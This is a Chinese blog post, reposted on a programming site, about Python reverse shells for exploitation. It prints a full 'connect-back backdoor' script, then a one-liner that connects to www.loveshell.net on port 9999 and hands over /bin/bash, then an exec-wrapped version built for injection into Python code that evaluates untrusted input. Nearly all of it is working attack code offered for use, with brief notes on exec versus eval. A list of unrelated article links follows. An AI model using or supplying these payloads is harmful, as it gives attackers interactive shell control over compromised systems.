在漏洞利用Python代码真的很爽

时间:2023-11-24 15:57:29 

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

标签:在漏洞利用Python代码真的很爽
0
投稿

猜你喜欢

  • MySQL的root帐户密码重置方法

    2007-08-24 15:53:00
  • PHP中DirectIO操作文件扩展的用法大全

    2023-06-13 13:58:45
  • JDBC连接mysql处理中文时乱码解决办法详解

    2024-01-17 21:35:35
  • 关于Vue 监控数组的问题

    2024-05-28 15:52:13
  • php生成随机密码的三种方法小结

    2023-11-22 04:25:50
  • python 日志模块logging的使用场景及示例

    2023-01-10 16:39:57
  • Python处理中文标点符号大集合

    2021-12-07 16:03:45
  • Perl使用chdir的实例代码

    2023-02-13 19:33:56
  • Fibonacci数,Θ(log n)

    2010-03-28 13:28:00
  • 详解Mysql查询条件中字符串尾部有空格也能匹配上的问题

    2024-01-13 11:06:50
  • 基于Python实现计算纳什均衡的示例详解

    2022-03-03 12:44:27
  • Keras设置以及获取权重的实现

    2021-11-22 10:04:09
  • XML 在使用中产生的二十个热点问题

    2008-05-29 11:07:00
  • 基于python list对象中嵌套元组使用sort时的排序方法

    2022-11-04 03:38:21
  • 详解Django将秒转换为xx天xx时xx分

    2023-06-14 22:52:12
  • Python装饰器详情

    2021-10-22 07:22:49
  • 深入讨论Python函数的参数的默认值所引发的问题的原因

    2022-08-03 00:54:31
  • Python 3 使用Pillow生成漂亮的分形树图片

    2022-05-03 14:53:23
  • asp实现的查询某关键词在MSSQL数据库位置的代码

    2011-02-28 11:18:00
  • VB.NET调用MySQL存储过程并获得返回值的方法

    2024-01-12 16:03:45
  • asp之家 网络编程 m.aspxhome.com